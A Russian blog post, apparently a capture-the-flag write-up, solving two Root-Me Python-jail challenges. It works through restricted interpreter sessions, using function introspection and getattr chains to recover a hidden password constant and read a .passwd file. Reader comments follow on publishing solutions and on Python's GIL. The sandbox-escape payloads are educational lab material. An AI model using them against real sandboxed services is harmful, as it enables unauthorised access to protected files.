Начнём!
PyJail 1
После подключения, перед нами появляется вот такое приветствие, и небольшое описание:
Суть в следующем: мы попали в ограниченную версию интерпретатора Python, из неё нужно либо выйти, либо получить содержимое файла .passwd, в той же директории. Ничего сложного, просто нужно выйти из интерпретатора. Попробуем это сделать:
>>> exit()
TypeError : exit() takes exactly 1 argument (0 given)
>>> exit('exit')
Denied
>>> exit(0)
You cannot escape !
Выяснили, что функция exit, требует наличие 1 параметра, который проверяется с чем-то, и в случае неудачи возвращает You cannot escape !. Так же определили, что использование строковых литералов запрещено. Простым перебором определяем список запрещённых функций:
>>> __import__
Denied
>>> name
Denied
>>> locals
Denied
>>> globals
Denied
>>> eval
Denied
>>> import
Denied
>>> __
Denied
>>> system
Denied
С этим разобрались, осталось выяснить, какие действия совершать разрешено. Попробуем print:
>>> print 123
123
Это работает. Так же доступно создание переменных и функций:
>>> a=[1]
>>> print a
[1]
>>> def ls(): print(1)
>>> ls()
1
А что насчет свойств объекта?
>>> a.append(10)
>>> print a
[1, 10]
Они тоже доступны. В Python практически всё является объектом, в том числе и функции. Более подробно о том как работать с функцией как с объектом можно прочитать тут.
Теперь переходим к финальной части, попробуем посмотреть список констант, которые объявлены в единственно доступной нам функции exit():
>>> print(exit.func_code.co_consts)
(None, 'flag-WQ0dSFrab3LGADS1ypA1', -1, 'cat .passwd', 'You cannot escape !')
Из полученных сведений можно образно восстановить логику работы функции:
def exit(txt):
if txt == 'flag-WQ0dSFrab3LGADS1ypA1':
os.system('cat .passwd')
else:
print('You cannot escape !')
Проверим эту догадку:
>>> x = exit.func_code.co_consts[1]
>>> print(x)
flag-WQ0dSFrab3LGADS1ypA1
>>> exit(x)
Well done flag : XXXXXXXXXXXXXXXXXXXXXXX
Да, это работает, Таким образом, мы можем не только просмотреть список используемых переменных, но так же получить байткод этой функции, который после несложной декомпиляции, можно хоть и с погрешностями но восстановить.
PyJail 2
Вторая часть. По традиции нам как всегда нужно получить содержимое файла .passwd. Приступим. Попробуем ту же технику, что использовали в первой части:
>>> print(getout.func_code.co_consts)
You are in jail dude ... Did you expect to have the key ?
Попробуем иначе. Первым делом проверим доступна ли команда dir?
>>> dir()
>>> a=[]
>>> dir(a)
NameError: name 'dir(a)' is not defined
>>> print(dir())
['__builtins__', 'command', 'getout']
Да, она работает, но пока на данном этапе мало чем полезна. После проверки остальных функций из списка, обнаруживаем, что мы можем использовать ещё одну функцию:
>>> print(getattr)
<built-in function getattr>
Что это даёт? Из документации известно следующее:
Return the value of the named attribute of object. name must be a string. If the string is the name of one of the object’s attributes, the result is the value of that attribute. For example, getattr(x, 'foobar') is equivalent to x.foobar. If the named attribute does not exist, default is returned if provided, otherwise AttributeError is raised.
Функция принимает объект, находит в нём метод и возвращает его. Посмотрим какие методы есть у getout:
>>> print dir(getout)
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
Отлично, действуя по аналогии как это было в PyJail1, сначала узнаём список функций используемых в getout:
>>> fc=getattr(getout, dir(getout)[25]); mds=getattr(fc, dir(fc)[32]); prm=getattr(fc, dir(fc)[25])[2]; print(mds)
('passwd', 'os', 'system', 'sys', 'exit')
Теперь получаем список констант:
>>> fc=getattr(getout, dir(getout)[25]); mds=getattr(fc, dir(fc)[32]); prm=getattr(fc, dir(fc)[25]); print(prm)
(' check if arg is equal to the random password ', 'Well done ! Here is your so desired flag : ', 'cat .passwd', 'Hum ... no.', None)
Осталось выполнить system('cat .passwd') и получить пароль для прохождения задания
>>> fc=getattr(getout, dir(getout)[25]); mds=getattr(fc, dir(fc)[32]); prm=getattr(fc, dir(fc)[25])[2]; splt=getattr(prm, dir(prm)[62]); f=open(splt(prm[3])[1]); rd=getattr(f, dir(f)[29]); rrd=rd(); print(rrd)
Вот таким вот не хитрым образом используя Python у нас появляется возможность одно действие сделать множеством различных способов. На этом пока всё.
Комментарии (27)
felix_it
21.02.2017 20:37+7Не смущает, что по правилам RM публиковать решения плохо? Там вот буквально: «We remind you that publishing solutions on Internet (Youtube, Github, personal blog, ...) is forbidden.»
licoxe
21.02.2017 20:42+4felix_it Первое, я никого не заставляю полностью повторять своё решение. Второе, одним из основных способов получения новых знаний, как раз является просмотр решений других участников. На RM полагают, что ты либо как хочешь делаешь и в процессе узнаёшь. Либо ты не достоин знать решение.
Я не считаю, что ограничение доступа к информации является лучшем решением.
Ну и третье, пользователи RM не получают за это никакой материальной выгоды, так что моя публикация не наносит никому какого-либо вреда.
qrck13
21.02.2017 21:29-2Для меня самой большой «интересной особенностью о которой я не догадывался» было наличие Global Interpreter Lock. Почему то во всяких учебниках по python-у этому вопросу почти нигде вообще не удиляют внимания. А в то же время это очень болезненная особенность, существенно ограничивающая применение языка в ряде задач.
immaculate
22.02.2017 07:48Как и где он ограничивает? За 17 лет программирования на Python он меня ни разу не ограничил, и от других не слышал такого тоже.
qrck13
22.02.2017 08:54-1Ну значит за 17 лет у вас ни разу не было потребности использовать больше 1 ядра эффективно в программе на Python-е.
Пример из моей недавней практики:
python скрипт, который раз в день обходит каталог с архивами с логами от нескольких серверов, парсит их и генерирует некоторые отчеты. Сам процесс анализа данных занимает от силы 30 секунд, но вот загрузка логов — около 10 минут (это бинарные логи в некотором своем формате, дополнительно сжатые gzip-ом, в разжатом виде около 5-6Gb логов на сервер). По скольку все сервера имеют однотипные логи, их более чем хочется загрузить параллельно и потом просто смержить результат, тем более что выполняется все на машине с 18 ядами (Xeon). Но не тут то было, из за global interpreter lock-а, из N python потоков всегда реально выполняется только один, остальные ждут возможности захватить GIL. Так что итоговая производительность загрузки при многопоточном подходе получается не в N раз быстрее, а раза вы полтора медленнее.
Если подытожить — то cpython реализация не позволяет эффективно использовать несколько потоков, вообще никак.
exfizik
22.02.2017 09:19+3А multiprocessing модуль не пробовали?
qrck13
22.02.2017 09:58Если честно, я очень скептически отношусь к передаче большого количества DataFrame-ов, каждый порядка 500Мб в памяти, через pipe-а из дочерних процессов. Но попробую.
Roman_Kh
22.02.2017 10:02+1А зачем датафреймы-то передавать? Сразу используйте разделяемую память, а лучше анализируйте отдельно друг от друга в разных потоках / процессах.
Многие функцииpandas
а однопоточны. Так что, собрав все в один большой датафрейм, вы многократно замедлите обработку.qrck13
22.02.2017 13:37Анализировать отдельно — это будет не так тривиально, т.к. код усыпан всякими groupby, делать их на отдельных маленьких DataFrame-ах а потом мержить вместе — только багов насажаешь.
А в разделяемую память класть — это нужно ведь будет ручками каждый отдельный столбец оформлять (а их там штук 50), а потом обратно собирать в дата-фрейм, что бы можно было анализировать при помощи pandas.
P.S.а вообще я попробовал, решение "в лоб" через pool.map приводит к тому, что около 5% времени уходит на передачу данных меж процессами. Не так ужасно, я думал будет хуже.
В любом случае — отсутствие нормальных потоков — это ограничивающий фактор. Тот же numpy по этой причине изворачивается с созданием нативных потоков, для параллельной обработки.
knekrasov
22.02.2017 10:40+1Ну с таким подходом можно и про xargs -P вспомнить. Действительно, при чем тут язык.
А про ограничение (архитектурное, замечу) языка стоит знать. Треды в языке вроде как есть. Но никто не задумывается, что в единицу времени будет выполняться ровно один тред. Мне кажется, это слишком интересная особенность чтобы о ней молчать.
Не понимаю, за что qrck13 заминусовали.flaresun
22.02.2017 11:12Не понимаю, за что qrck13 заминусовали.
Думаю, что минусы в основном за:
интересной особенностью о которой я не догадывался
инигде вообще не удиляют внимания
exfizik
22.02.2017 19:35Но никто не задумывается, что в единицу времени будет выполняться ровно один тред.
Если вы для себя Питон только что открыли, то да, никто не задумывается и все молчат :) А вообще, про этот GIL уже столько статей написано, столько копей поломано, что фактически нет смысла обсуждать…qrck13
22.02.2017 22:24> Если вы для себя Питон только что открыли, то да, никто не задумывается и все молчат :) А вообще, про этот GIL уже столько статей написано, столько копей поломано, что фактически нет смысла обсуждать…
У меня на работе мы в команде используем python как вспомогательный скриптовый язык (в основном для анализа данных при отладке основных проектов), основная разработка на C++/C#. Т.е. никто не изучал python на таком глубоком уровне. Но стандартный «common sense» на основании опыта с другими языками (у некоторых из команды — больше 20 лет опыта) никак не наводит на мысль, что в каком-то из языков может быть засада с такой базовой и основопологающей вещью как потоки. Когда я об этом «открытии» рассказал коллегам — сюрприз был у всех.
gorodnev
22.02.2017 09:50+2Вот это эпик!!! Для io-bound задач нужно и инструмент подбирать соответствующий, twisted там или tornado. Но да, виноват во всем Python, а не человек!
PS: Ему не multiprocessing нужен, раз bottleneck в загрузке, а не парсинге.qrck13
22.02.2017 11:20Эпик, это кричать не разобравшись в вопросе.
Это не io-bound задача, на io там уходит меньше 15% времени, т.к. логи очень хорошо пожаты.
Roman_Kh
22.02.2017 09:59Во-первых, для парсинга логов отлично подойдет
multiprocessing
, который распараллелит задачу на несколько процессоров.
Во-вторых, ввод-вывод хорошо ускоряется с помощью
async / await
.
В-третьих, GIL при необходимости можно легко разблокировать с помощью
cython
илиnumba
.flaresun
22.02.2017 11:09-2GIL при необходимости можно легко разблокировать с помощью cython
Но это уже будет не совсем python, хоть и запускаться процесс будет из python.
По тому же принципу можно просто через system запускать другие процессы (скрипты на python) в бекграунде и говорить, что GIL совершенно ничем никому не мешает :)
DarthKotik
22.02.2017 21:08Можно использовать PyPy, например или другие альтернативные реализации без GIL
amarao
22.02.2017 13:38-1Для таких вещей во-первых хочется использовать import (который нельзя переопределить и который восстанавливает вменяемость некоторых переменных), во-вторых dir() (если его не переопределили), в третьих — хардкорную интроспекцию (import inspect).
AndU
22.02.2017 14:23+2Типичное приветствие новичка хабрасообществом, ахах) ничего нового: куча минусусов новичку, за попытку написания интересного материала.
spiiin
22.02.2017 15:37Публиковать решения в готовом виде не стоит, конечно, особенно, когда авторы задач просят этого не делать. Ещё как минимум стоило убрать их под спойлер, вы же лишаете людей удовольствия!
Лучше бы статью про root-me небольшую написали, за наводку на сайт спасибо.
DaneSoul
Вы забыли написать самое главное — https://lbarman.ch/blog/root-me-pyjail1/:
"You have access to a restricted, sandboxed Python shell (mimicking an online service), and you need to gain broader access to the system. "
Без этой фразы я вообще не мог понять о чем Ваша статья и какую проблему Вы решаете. Помог только Гугл.
licoxe
Спасибо, дополнил